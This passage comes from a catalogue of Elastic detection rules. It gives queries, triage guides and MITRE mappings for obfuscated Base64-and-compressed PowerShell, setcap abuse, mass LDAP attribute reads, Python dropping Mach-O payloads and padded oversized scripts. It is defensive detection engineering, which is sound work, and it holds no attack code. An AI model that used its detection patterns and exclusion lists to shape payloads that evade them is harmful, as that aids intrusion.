- Implication: escalate when decoded content reaches Invoke-Expression, reflection, assembly load, payload writes, remote retrieval, or another encoded/compressed layer; lower suspicion when decoded content stays inert with no execution sink, staging write, or retrieval path. Missing network/DNS telemetry is unresolved, not benign.
- If local evidence remains suspicious or incomplete, does the same wrapper or decoded indicator change scope?
- Focus: distinctive strings from `powershell.file.script_block_text`, recurring `file.path` or `file.name`, and related alerts for the same `user.id`. $investigate_5
- Hint: if the user view is quiet or identity is incomplete, check related alerts for the same `host.id`. $investigate_6
- Implication: broaden scope when the same Base64-plus-compression wrapper, decoded indicator, or file origin appears on unrelated hosts or accounts; keep scope local when confined to one exact benign automation cohort, but do not close solely because recurrence is absent.
- Escalate when reconstruction, origin, launch context, decoded behavior, or scope points to staged execution. Close only when full reconstruction and same-host evidence prove one exact benign workflow, using records only when telemetry cannot prove legitimacy. If evidence is incomplete, preserve script fragments, decoded indicators, and recovered process evidence and escalate.
### False positive analysis
- Software deployment and vendor updater scripts can legitimately embed Base64-compressed resources in PowerShell. Confirm only when reconstructed `powershell.file.script_block_text` is installer, updater, or administrative resource logic; `file.path` or stable fileless origin fits that workflow; and `user.id` plus `host.id` match scope. When endpoint process telemetry exists, recover through `host.id + process.pid` before using `process.command_line` or `process.parent.executable` as corroboration. Use records or inventories only when telemetry cannot prove it.
- Before creating an exception, validate that the telemetry-confirmed benign workflow is stable across prior alerts for the same scope. Anchor to `user.id`, `host.id`, stable `file.path` or stable fileless origin, and distinctive reconstructed script structure. Do not suppress on `powershell.file.script_block_entropy_bits`, `file.name`, or `user.name` alone.
### Response and remediation
- If confirmed benign, reverse any temporary containment and document the evidence that explained the alert: reconstructed script purpose, validated `file.path` or stable fileless origin, `user.id`, `host.id`, and any recovered launch context. Create a narrow exception only after the same benign pattern recurs consistently.
- If suspicious but unconfirmed, preserve evidence first: the original and reconstructed `powershell.file.script_block_text`, all fragments grouped by `powershell.file.script_block_id`, decoded strings or indicators, `file.path` evidence, `user.id`, `host.id`, and recovered process context when available. Apply reversible containment such as heightened monitoring, temporary destination blocking for decoded indicators, or host isolation only if the host role can tolerate it, then escalate before deleting artifacts or resetting accounts.
- If confirmed malicious, preserve the same script, decoded indicator, origin, host, user, and recovered process evidence before destructive actions. Isolate the host if its role allows it, record the malicious PowerShell process context before termination when available, block confirmed malicious decoded domains, IPs, URLs, hashes, or payload paths, and review related hosts and users for the same indicators before removing scripts, binaries, scheduled tasks, registry persistence, or policy changes tied to the decoded payload. Reset credentials only when investigation shows account misuse or credential access beyond local execution.
- Post-incident hardening: retain PowerShell script-block logging and endpoint process telemetry needed for `host.id + process.pid` recovery, restrict PowerShell execution to trusted administrative paths where feasible, and document the confirmed benign workflow or malicious artifact set for future triage.
"""
setup = """## Setup
PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104).
Setup instructions: https://ela.st/powershell-logging-setup
This rule uses the following fields that require the Windows Integration v3.3.0 and up: `powershell.file.script_block_entropy_bits`.
"""
[[rule.filters]]
[rule.filters.meta]
negate = true
[rule.filters.query.wildcard."file.path"]
case_insensitive = true
value = "?:\\\\ProgramData\\\\Microsoft\\\\Windows Defender Advanced Threat Protection\\\\Downloads\\\\*"
[rule.investigation_fields]
field_names = [
"@timestamp",
"user.name",
"user.id",
"powershell.file.script_block_text",
"powershell.file.script_block_id",
"powershell.sequence",
"powershell.total",
"powershell.file.script_block_entropy_bits",
"file.path",
"file.name",
"process.pid",
"host.name",
"host.id",
"powershell.file.script_block_length"
]
[transform]
[[transform.investigate]]
label = "Script block fragments for the same script"
description = ""
providers = [
[
{ excluded = false, field = "powershell.file.script_block_id", queryType = "phrase", value = "{{powershell.file.script_block_id}}", valueType = "string" },
{ excluded = false, field = "host.id", queryType = "phrase", value = "{{host.id}}", valueType = "string" }
]
]
relativeFrom = "now-1h"
relativeTo = "now"
[[transform.investigate]]
label = "Script block events for the same file path"
description = ""
providers = [
[
{ excluded = false, field = "event.category", queryType = "phrase", value = "process", valueType = "string" },
{ excluded = false, field = "host.id", queryType = "phrase", value = "{{host.id}}", valueType = "string" },
{ excluded = false, field = "file.path", queryType = "phrase", value = "{{file.path}}", valueType = "string" }
]
]
relativeFrom = "now-48h/h"
relativeTo = "now"
[[transform.investigate]]
label = "Process events for the PowerShell instance"
description = ""
providers = [
[
{ excluded = false, field = "process.pid", queryType = "phrase", value = "{{process.pid}}", valueType = "string" },
{ excluded = false, field = "host.id", queryType = "phrase", value = "{{host.id}}", valueType = "string" },
{ excluded = false, field = "event.category", queryType = "phrase", value = "process", valueType = "string" }
]
]
relativeFrom = "now-1h"
relativeTo = "now"
[[transform.investigate]]
label = "File events for the PowerShell PID"
description = ""
providers = [
[
{ excluded = false, field = "event.category", queryType = "phrase", value = "file", valueType = "string" },
{ excluded = false, field = "host.id", queryType = "phrase", value = "{{host.id}}", valueType = "string" },
{ excluded = false, field = "process.pid", queryType = "phrase", value = "{{process.pid}}", valueType = "string" }
]
]
relativeFrom = "now-1h"
relativeTo = "now"
[[transform.investigate]]
label = "Network and DNS events for the PowerShell PID"
description = ""
providers = [
[
{ excluded = false, field = "event.category", queryType = "phrase", value = "network", valueType = "string" },
{ excluded = false, field = "host.id", queryType = "phrase", value = "{{host.id}}", valueType = "string" },
{ excluded = false, field = "process.pid", queryType = "phrase", value = "{{process.pid}}", valueType = "string" }
],
[
{ excluded = false, field = "event.category", queryType = "phrase", value = "dns", valueType = "string" },
{ excluded = false, field = "host.id", queryType = "phrase", value = "{{host.id}}", valueType = "string" },
{ excluded = false, field = "process.pid", queryType = "phrase", value = "{{process.pid}}", valueType = "string" }
]
]
relativeFrom = "now-1h"
relativeTo = "now"
[[transform.investigate]]
label = "Alerts associated with the user"
description = ""
providers = [
[
{ excluded = false, field = "event.kind", queryType = "phrase", value = "signal", valueType = "string" },
{ excluded = false, field = "user.id", queryType = "phrase", value = "{{user.id}}", valueType = "string" }
]
]
relativeFrom = "now-48h/h"
relativeTo = "now"
[[transform.investigate]]
label = "Alerts associated with the host"
description = ""
providers = [
[
{ excluded = false, field = "event.kind", queryType = "phrase", value = "signal", valueType = "string" },
{ excluded = false, field = "host.id", queryType = "phrase", value = "{{host.id}}", valueType = "string" }
]
]
relativeFrom = "now-48h/h"
relativeTo = "now"
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1027"
name = "Obfuscated Files or Information"
reference = "https://attack.mitre.org/techniques/T1027/"
[[rule.threat.technique.subtechnique]]
id = "T1027.015"
name = "Compression"
reference = "https://attack.mitre.org/techniques/T1027/015/"
[[rule.threat.technique]]
id = "T1140"
name = "Deobfuscate/Decode Files or Information"
reference = "https://attack.mitre.org/techniques/T1140/"
[rule.threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1059"
name = "Command and Scripting Interpreter"
reference = "https://attack.mitre.org/techniques/T1059/"
[[rule.threat.technique.subtechnique]]
id = "T1059.001"
name = "PowerShell"
reference = "https://attack.mitre.org/techniques/T1059/001/"
[rule.threat.tactic]
id = "TA0002"
name = "Execution"
reference = "https://attack.mitre.org/tactics/TA0002/"
Stages and Predicates
Stage 1: query
event.category:process and host.os.type:windows and
powershell.file.script_block_entropy_bits >= 4.5 and
powershell.file.script_block_text : (
(
"System.IO.Compression.DeflateStream" or
"System.IO.Compression.GzipStream" or
"IO.Compression.DeflateStream" or
"IO.Compression.GzipStream"
) and
FromBase64String
) and
not user.id : "S-1-5-18"
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
event.category | eq |
| field:"event.category" kind:eq value:"process" |
powershell.file.script_block_entropy_bits | ge |
| field:"powershell.file.script_block_entropy_bits" kind:ge value:"4.5" |
powershell.file.script_block_text | eq |
| field:"ScriptBlockText" kind:eq value:"FromBase64String" |
powershell.file.script_block_text | in |
| field:"ScriptBlockText" kind:in |
Exclusions
The rule actively suppresses these predicates.
| Field | Kind | Excluded values | Search |
|---|---|---|---|
user.id | eq | S-1-5-18 | excludes:user.id field:"user.id" value:"S-1-5-18" |
Process Capability Set via setcap Utility
#This rule detects the use of the setcap utility to set capabilities on a process. The setcap utility is used to set the capabilities of a binary to allow it to perform privileged operations without needing to run as root. This can be used by attackers to establish persistence by creating a backdoor, or escalate privileges by abusing a misconfiguration on a system.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Privilege Escalation |
Rule Body
[metadata]
creation_date = "2024/06/03"
integration = ["endpoint", "sentinel_one_cloud_funnel"]
maturity = "production"
updated_date = "2026/03/24"
[rule]
author = ["Elastic"]
description = """
This rule detects the use of the setcap utility to set capabilities on a process. The setcap utility is used to set the
capabilities of a binary to allow it to perform privileged operations without needing to run as root. This can be used
by attackers to establish persistence by creating a backdoor, or escalate privileges by abusing a misconfiguration on a
system.
"""
from = "now-9m"
index = ["logs-endpoint.events.process*", "endgame-*", "logs-sentinel_one_cloud_funnel.*"]
language = "eql"
license = "Elastic License v2"
name = "Process Capability Set via setcap Utility"
note = """## Triage and analysis
> **Disclaimer**:
> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
### Investigating Process Capability Set via setcap Utility
The `setcap` utility in Linux assigns specific capabilities to executables, allowing them to perform privileged tasks without full root access. While beneficial for security, adversaries can exploit this to maintain persistence or escalate privileges by misconfiguring capabilities. The detection rule identifies suspicious `setcap` usage by monitoring process execution patterns, excluding benign parent processes, to flag potential misuse.
### Possible investigation steps
- Review the process execution details to confirm the use of the setcap utility, focusing on the process name and event action fields to ensure the alert is not a false positive.
- Investigate the parent process executable and name to determine if the setcap command was executed by a potentially malicious or unexpected process, especially if it is not among the excluded benign parent processes.
- Check the capabilities that were set by the setcap command to assess if they could allow privilege escalation or persistence, and determine if they align with normal operational requirements.
- Examine the timeline of events around the setcap execution to identify any preceding or subsequent suspicious activities that might indicate a broader attack or compromise.
- Correlate the alert with other security events or logs from the same host to identify any patterns or additional indicators of compromise that could suggest a coordinated attack.
### False positive analysis
- Legitimate software installations or updates may trigger the rule when package managers like dpkg or Docker set capabilities during their processes. To handle this, exclude paths such as /var/lib/dpkg/* and /var/lib/docker/* from the detection rule.
- Development environments or containerized applications might use setcap for testing purposes. Exclude processes originating from /tmp/newroot/* and /var/tmp/newroot/* to reduce noise from these environments.
- Custom scripts or administrative tools that use setcap for legitimate configuration tasks can be excluded by identifying their parent process names and adding them to the exclusion list, similar to the existing exclusions for jem and vzctl.
- Regular audits of the exclusion list should be conducted to ensure that no malicious processes are inadvertently whitelisted, maintaining a balance between reducing false positives and ensuring security.
### Response and remediation
- Immediately isolate the affected system from the network to prevent potential lateral movement by the attacker.
- Terminate any suspicious processes associated with the `setcap` utility that are not part of legitimate administrative tasks.
- Review and remove any unnecessary capabilities set on executables using the `setcap` utility to prevent privilege escalation.
- Conduct a thorough audit of the system to identify any backdoors or unauthorized changes made by the attacker, and remove them.
- Restore affected systems from a known good backup if unauthorized changes or persistent threats are detected.
- Escalate the incident to the security operations team for further investigation and to determine if additional systems are compromised.
- Implement enhanced monitoring and logging for `setcap` usage and similar privilege escalation attempts to improve future detection capabilities."""
risk_score = 21
rule_id = "f18a474c-3632-427f-bcf5-363c994309ee"
setup = """## Setup
This rule requires data coming in from Elastic Defend.
### Elastic Defend Integration Setup
Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows
the Elastic Agent to monitor events on your host and send data to the Elastic Security app.
#### Prerequisite Requirements:
- Fleet is required for Elastic Defend.
- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).
#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:
- Go to the Kibana home page and click "Add integrations".
- In the query bar, search for "Elastic Defend" and select the integration to see more details about it.
- Click "Add Elastic Defend".
- Configure the integration name and optionally add a description.
- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads".
- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).
- We suggest to select "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions"
- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead.
For more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).
- Click "Save and Continue".
- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts.
For more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).
"""
severity = "low"
tags = [
"Domain: Endpoint",
"OS: Linux",
"Use Case: Threat Detection",
"Tactic: Persistence",
"Tactic: Privilege Escalation",
"Data Source: Elastic Endgame",
"Data Source: Elastic Defend",
"Data Source: SentinelOne",
"Resources: Investigation Guide",
]
timestamp_override = "event.ingested"
type = "eql"
query = '''
process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event", "start") and
process.name == "setcap" and not (
process.parent.executable == null or
process.parent.executable like (
"/var/lib/dpkg/*", "/var/lib/docker/*", "/tmp/newroot/*", "/var/tmp/newroot/*", "/usr/bin/cmake",
"/opt/zscaler/bin/zpa-connector"
) or
process.parent.name in ("jem", "vzctl") or
process.parent.args like "/var/lib/dpkg/info/*" or
?process.working_directory in ("/opt/dynatrace/oneagent", "/opt/sophos-spl/plugins/av/sbin") or
process.parent.command_line in ("/bin/bash /entrypoint.sh telegraf", "/bin/sh /usr/local/bin/docker-entrypoint.sh server")
)
'''
[[rule.threat]]
framework = "MITRE ATT&CK"
[rule.threat.tactic]
id = "TA0003"
name = "Persistence"
reference = "https://attack.mitre.org/tactics/TA0003/"
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1548"
name = "Abuse Elevation Control Mechanism"
reference = "https://attack.mitre.org/techniques/T1548/"
[rule.threat.tactic]
id = "TA0004"
name = "Privilege Escalation"
reference = "https://attack.mitre.org/tactics/TA0004/"
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1548"
name = "Abuse Elevation Control Mechanism"
reference = "https://attack.mitre.org/techniques/T1548/"
[rule.threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"
Stages and Predicates
Stage 1: process
process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event", "start") and
process.name == "setcap" and not (
process.parent.executable == null or
process.parent.executable like (
"/var/lib/dpkg/*", "/var/lib/docker/*", "/tmp/newroot/*", "/var/tmp/newroot/*", "/usr/bin/cmake",
"/opt/zscaler/bin/zpa-connector"
) or
process.parent.name in ("jem", "vzctl") or
process.parent.args like "/var/lib/dpkg/info/*" or
?process.working_directory in ("/opt/dynatrace/oneagent", "/opt/sophos-spl/plugins/av/sbin") or
process.parent.command_line in ("/bin/bash /entrypoint.sh telegraf", "/bin/sh /usr/local/bin/docker-entrypoint.sh server")
)
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
event.action | in |
| field:"EventType" kind:in |
event.type | eq |
| field:"event.type" kind:eq value:"start" |
process.name | eq |
| field:"process_basename" kind:eq value:"setcap" |
Exclusions
The rule actively suppresses these predicates.
SentinelOne Alert External Alerts
#Generates a detection alert for each SentinelOne alert written to the configured indices. Enabling this rule allows you to immediately begin investigating SentinelOne alerts in the app.
Rule Body
[metadata]
creation_date = "2025/07/31"
integration = ["sentinel_one"]
maturity = "production"
promotion = true
updated_date = "2025/10/17"
[rule]
author = ["Elastic"]
description = """
Generates a detection alert for each SentinelOne alert written to the configured indices. Enabling this rule allows you
to immediately begin investigating SentinelOne alerts in the app.
"""
from = "now-2m"
index = ["logs-sentinel_one.alert-*"]
interval = "1m"
language = "kuery"
license = "Elastic License v2"
max_signals = 1000
name = "SentinelOne Alert External Alerts"
note = """## Triage and analysis
### Investigating SentinelOne Alert External Alerts
SentinelOne is a cybersecurity platform that provides endpoint protection by detecting and responding to threats in real-time. The rule identifies such threats by monitoring specific alert events, enabling analysts to swiftly investigate and mitigate potential security incidents.
### Possible investigation steps
- Correlate the alert with recent activity on the affected endpoint to identify any unusual or suspicious behavior patterns.
- Check for any additional alerts or logs related to the same endpoint or user to determine if this is part of a broader attack or isolated incident.
- Investigate the source and destination IP addresses involved in the alert to assess if they are known to be malicious or associated with previous threats.
- Analyze any files or processes flagged in the alert to determine if they are legitimate or potentially malicious, using threat intelligence sources if necessary.
- Consult the SentinelOne investigation guide and resources tagged in the alert for specific guidance on handling similar threats.
### False positive analysis
- Alerts triggered by routine software updates or patches can be false positives. Review the context of the alert to determine if it aligns with scheduled maintenance activities.
- Legitimate administrative tools or scripts may trigger alerts. Identify and whitelist these tools if they are verified as non-threatening.
- Frequent alerts from known safe applications or processes can be excluded by creating exceptions for these specific behaviors in the SentinelOne configuration.
- Network scanning or monitoring tools used by IT teams might be flagged. Ensure these tools are documented and excluded from triggering alerts if they are part of regular operations.
- User behavior that is consistent with their role but triggers alerts should be reviewed. If deemed non-malicious, adjust the rule to exclude these specific user actions.
### Response and remediation
- Isolate the affected endpoint immediately to prevent lateral movement and further compromise within the network.
- Analyze the specific alert details to identify the nature of the threat and any associated indicators of compromise (IOCs).
- Remove or quarantine any malicious files or processes identified by the SentinelOne alert to neutralize the threat.
- Apply relevant security patches or updates to address any exploited vulnerabilities on the affected endpoint.
- Conduct a thorough scan of the network to identify any additional endpoints that may have been compromised or are exhibiting similar behavior.
- Document the incident and escalate to the appropriate security team or management if the threat is part of a larger attack campaign or if additional resources are needed for remediation.
- Review and update endpoint protection policies and configurations to enhance detection and prevention capabilities against similar threats in the future.
"""
references = ["https://docs.elastic.co/en/integrations/sentinel_one"]
risk_score = 47
rule_id = "9b35422b-9102-45a9-8610-2e0c22281c55"
rule_name_override = "rule.name"
setup = """## Setup
### SentinelOne Alert Integration
This rule is designed to capture alert events generated by the SentinelOne integration and promote them as Elastic detection alerts.
To capture SentinelOne alerts, install and configure the SentinelOne integration to ingest alert events into the `logs-sentinel_one.alert-*` index pattern.
If this rule is enabled alongside the External Alerts promotion rule (UUID: eb079c62-4481-4d6e-9643-3ca499df7aaa), you may receive duplicate alerts for the same SentinelOne events. Consider adding a rule exception for the External Alert rule to exclude datastream.dataset: sentinel_one.alert to avoid receiving duplicate alerts.
### Additional notes
For information on troubleshooting the maximum alerts warning please refer to this [guide](https://www.elastic.co/guide/en/security/current/alerts-ui-monitor.html#troubleshoot-max-alerts).
"""
severity = "medium"
tags = [
"Data Source: SentinelOne",
"Use Case: Threat Detection",
"Resources: Investigation Guide",
"Promotion: External Alerts",
]
timestamp_override = "event.ingested"
type = "query"
query = '''
event.kind: event and data_stream.dataset: sentinel_one.alert
'''
[[rule.risk_score_mapping]]
field = "event.risk_score"
operator = "equals"
value = ""
[[rule.severity_mapping]]
field = "event.severity"
operator = "equals"
severity = "low"
value = "21"
[[rule.severity_mapping]]
field = "event.severity"
operator = "equals"
severity = "medium"
value = "47"
[[rule.severity_mapping]]
field = "event.severity"
operator = "equals"
severity = "high"
value = "73"
[[rule.severity_mapping]]
field = "event.severity"
operator = "equals"
severity = "critical"
value = "99"
Stages and Predicates
Stage 1: query
event.kind: event and data_stream.dataset: sentinel_one.alert
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
data_stream.dataset | eq |
| field:"data_stream.dataset" kind:eq value:"sentinel_one.alert" |
event.kind | eq |
| field:"event.kind" kind:eq value:"event" |
Suspicious Access to LDAP Attributes
#Identify read access to a high number of Active Directory object attributes. The knowledge of objects properties can help adversaries find vulnerabilities, elevate privileges or collect sensitive information.
MITRE ATT&CK Coverage
Telemetry Coverage
| Provider | Record / event type |
|---|---|
| Security-Auditing | Event ID 4662: An operation was performed on an object. |
Rule Body
[metadata]
creation_date = "2023/01/29"
integration = ["windows", "system"]
maturity = "production"
updated_date = "2026/05/04"
[rule]
author = ["Elastic"]
description = """
Identify read access to a high number of Active Directory object attributes. The knowledge of objects properties can
help adversaries find vulnerabilities, elevate privileges or collect sensitive information.
"""
from = "now-9m"
index = ["logs-system.security*", "logs-windows.forwarded*", "winlogbeat-*"]
language = "eql"
license = "Elastic License v2"
name = "Suspicious Access to LDAP Attributes"
note = """## Triage and analysis
> **Disclaimer**:
> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
### Investigating Suspicious Access to LDAP Attributes
LDAP (Lightweight Directory Access Protocol) is crucial for querying and modifying directory services like Active Directory, which stores user credentials and permissions. Adversaries exploit LDAP to enumerate directory attributes, seeking vulnerabilities or sensitive data. The detection rule identifies unusual read access patterns, such as excessive attribute queries, which may indicate reconnaissance or privilege escalation attempts.
### Possible investigation steps
- Review the event logs for the specific event code 4662 to gather details about the suspicious read access, focusing on the winlog.event_data.Properties field to understand which attributes were accessed.
- Identify the user associated with the suspicious activity by examining the winlog.event_data.SubjectUserSid field, and determine if this user has a legitimate reason to access a high number of Active Directory object attributes.
- Check the user's recent activity and login history to identify any unusual patterns or anomalies that could indicate compromised credentials or unauthorized access.
- Investigate the source machine from which the LDAP queries originated to determine if it is a known and trusted device or if it shows signs of compromise or unauthorized use.
- Correlate this event with other security alerts or logs to identify if this activity is part of a larger pattern of reconnaissance or privilege escalation attempts within the network.
### False positive analysis
- Regular system maintenance or updates may trigger high attribute read access. Exclude known maintenance accounts from the rule to prevent false alerts.
- Automated scripts or applications that query Active Directory for legitimate purposes can cause excessive attribute reads. Identify and whitelist these scripts or applications to reduce noise.
- Security audits or compliance checks often involve extensive directory queries. Coordinate with IT and security teams to recognize these activities and adjust the rule to exclude them.
- Service accounts with legitimate high-volume access patterns should be reviewed and, if deemed non-threatening, added to an exception list to avoid unnecessary alerts.
- Consider the context of the access, such as time of day or associated user activity, to differentiate between normal and suspicious behavior. Adjust the rule to account for these patterns where applicable.
### Response and remediation
- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration.
- Conduct a thorough review of the user account associated with the suspicious LDAP access to determine if it has been compromised. Reset the account credentials and enforce multi-factor authentication.
- Analyze the event logs to identify any other systems or accounts that may have been accessed using similar methods, and apply the same containment measures.
- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine the full scope of the breach.
- Implement additional monitoring on LDAP queries and Active Directory access to detect similar patterns of excessive attribute queries in the future.
- Review and tighten access controls and permissions within Active Directory to ensure that only necessary attributes are accessible to users based on their roles.
- Conduct a post-incident review to identify any gaps in security controls and update policies or procedures to prevent recurrence of similar threats."""
risk_score = 21
rule_id = "68ad737b-f90a-4fe5-bda6-a68fa460044e"
setup = """## Setup
Audit Directory Service Access must be enabled to generate the events used by this rule.
Setup instructions: https://ela.st/audit-directory-service-access
"""
severity = "low"
tags = [
"Domain: Endpoint",
"OS: Windows",
"Use Case: Threat Detection",
"Tactic: Discovery",
"Data Source: Windows Security Event Logs",
"Data Source: Active Directory",
"Data Source: Windows",
"Resources: Investigation Guide",
]
timestamp_override = "event.ingested"
type = "eql"
query = '''
any where host.os.type == "windows" and event.code == "4662" and not winlog.event_data.SubjectUserSid : "S-1-5-18" and
winlog.event_data.AccessMaskDescription == "Read Property" and length(winlog.event_data.Properties) >= 2000
'''
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1069"
name = "Permission Groups Discovery"
reference = "https://attack.mitre.org/techniques/T1069/"
[[rule.threat.technique.subtechnique]]
id = "T1069.002"
name = "Domain Groups"
reference = "https://attack.mitre.org/techniques/T1069/002/"
[[rule.threat.technique]]
id = "T1087"
name = "Account Discovery"
reference = "https://attack.mitre.org/techniques/T1087/"
[[rule.threat.technique.subtechnique]]
id = "T1087.002"
name = "Domain Account"
reference = "https://attack.mitre.org/techniques/T1087/002/"
[[rule.threat.technique]]
id = "T1482"
name = "Domain Trust Discovery"
reference = "https://attack.mitre.org/techniques/T1482/"
[rule.threat.tactic]
id = "TA0007"
name = "Discovery"
reference = "https://attack.mitre.org/tactics/TA0007/"
Stages and Predicates
Stage 1: any
any where host.os.type == "windows" and event.code == "4662" and not winlog.event_data.SubjectUserSid : "S-1-5-18" and
winlog.event_data.AccessMaskDescription == "Read Property" and length(winlog.event_data.Properties) >= 2000
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
event.code | eq |
| field:"EventID" kind:eq value:"4662" |
winlog.event_data.AccessMaskDescription | eq |
| field:"AccessMaskDescription" kind:eq value:"Read Property" |
Exclusions
The rule actively suppresses these predicates.
| Field | Kind | Excluded values | Search |
|---|---|---|---|
winlog.event_data.SubjectUserSid | eq | S-1-5-18 | excludes:winlog.event_data.SubjectUserSid field:"winlog.event_data.SubjectUserSid" value:"S-1-5-18" |
Suspicious Executable File Creation via Python
#Detects Python processes creating executable files with Mach-O headers in suspicious directories like /tmp or /Users/Shared. This indicates malicious Python scripts dropping payloads for execution, commonly observed in APT campaigns.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Execution | |
| Command & Control |
Telemetry Coverage
Rule Body
[rule]
description = """
Detects Python processes creating executable files with Mach-O headers in suspicious directories like /tmp or
/Users/Shared. This indicates malicious Python scripts dropping payloads for execution, commonly observed in APT
campaigns.
"""
id = "d9f6974d-1545-4575-88e8-d166a7a526db"
license = "Elastic License v2"
name = "Suspicious Executable File Creation via Python"
os_list = ["macos"]
reference = [
"https://unit42.paloaltonetworks.com/slow-pisces-new-custom-malware/",
"https://slowmist.medium.com/cryptocurrency-apt-intelligence-unveiling-lazarus-groups-intrusion-techniques-a1a6efda7d34",
]
version = "1.0.3"
query = '''
sequence by process.entity_id with maxspan=15s
[process where event.type == "start" and event.action == "exec" and process.name like~ "python*" and process.args_count == 2]
[file where event.action == "modification" and
file.Ext.header_bytes like~ ("cffaedfe*", "cafebabe*") and
file.path like ("/Users/Shared/*", "/tmp/*", "/private/tmp/*", "/Users/*/Public/*") and
not file.extension in ("dylib", "so")]
'''
min_endpoint_version = "8.16.0"
optional_actions = []
[[actions]]
action = "kill_process"
field = "process.entity_id"
state = 0
[[actions]]
action = "kill_process"
field = "process.parent.entity_id"
state = 0
[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
id = "T1059"
name = "Command and Scripting Interpreter"
reference = "https://attack.mitre.org/techniques/T1059/"
[[threat.technique.subtechnique]]
id = "T1059.006"
name = "Python"
reference = "https://attack.mitre.org/techniques/T1059/006/"
[threat.tactic]
id = "TA0002"
name = "Execution"
reference = "https://attack.mitre.org/tactics/TA0002/"
[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
id = "T1105"
name = "Ingress Tool Transfer"
reference = "https://attack.mitre.org/techniques/T1105/"
[threat.tactic]
id = "TA0011"
name = "Command and Control"
reference = "https://attack.mitre.org/tactics/TA0011/"
[internal]
min_endpoint_version = "8.16.0"
Stages and Predicates
Ordered sequence: each step below must occur in order within 15s, correlated by process.entity_id.
Stage 1: process
[process where event.type == "start" and event.action == "exec" and process.name like~ "python*" and process.args_count == 2]
Stage 2: file
[file where event.action == "modification" and
file.Ext.header_bytes like~ ("cffaedfe*", "cafebabe*") and
file.path like ("/Users/Shared/*", "/tmp/*", "/private/tmp/*", "/Users/*/Public/*") and
not file.extension in ("dylib", "so")]
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
event.action | eq |
| field:"EventType" kind:eq |
event.type | eq |
| field:"event.type" kind:eq value:"start" |
file.Ext.header_bytes | wildcard |
| field:"file.Ext.header_bytes" kind:wildcard |
file.path | wildcard |
| field:"TargetFilename" kind:wildcard |
process.args_count | eq |
| field:"process.args_count" kind:eq value:"2" |
process.name | wildcard |
| field:"process_basename" kind:wildcard value:"python*" |
Exclusions
The rule actively suppresses these predicates.
| Field | Kind | Excluded values | Search |
|---|---|---|---|
file.extension | in | dylib, so | excludes:file.extension field:"file.extension" value:"dylib" field:"file.extension" value:"so" |
Suspicious Oversized Script Execution
#Identifies the execution of oversized Windows scripts. Adversaries may employ script padding with random data to evade sandbox detection restriction based on file size.
MITRE ATT&CK Coverage
Rule Body
[rule]
description = """
Identifies the execution of oversized Windows scripts. Adversaries may employ script padding with random data to evade
sandbox detection restriction based on file size.
"""
id = "7be3d607-5c11-4609-91b9-0a3cf10cac8e"
license = "Elastic License v2"
name = "Suspicious Oversized Script Execution"
os_list = ["windows"]
version = "1.0.4"
query = '''
sequence with maxspan=2m
[file where event.action != "deletion" and
file.extension : ("js", "vbs", "jse", "vbe", "wsh", "hta", "wsf") and
(
process.name : ("explorer.exe", "cmd.exe", "powershell.exe", "winrar.exe", "expand.exe", "wscript.exe", "cscript.exe", "msiexec.exe",
"chrome.exe", "msedge.exe", "firefox.exe", "7zFM.exe", "7zG.exe", "python*.exe", "certutil.exe", "mshta.exe") or
(process.code_signature.exists == false or process.code_signature.trusted == false)
) and
/* more than 0.4MB */
file.size >= 400000 and file.path : ("?:\\Users\\*", "?:\\ProgramData\\*", "?:\\Windows\\Temp\\*", "?:\\Windows\\Tasks\\*")] as event0
[process where event.action == "start" and
process.name : ("wscript.exe", "cscript.exe", "mshta.exe") and process.args_count >= 2 and
stringcontains~(process.command_line, event0.file.name)]
'''
min_endpoint_version = "8.4.0"
[[actions]]
action = "kill_process"
field = "process.entity_id"
state = 1
[[optional_actions]]
action = "rollback"
field = "process.entity_id"
state = 0
[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
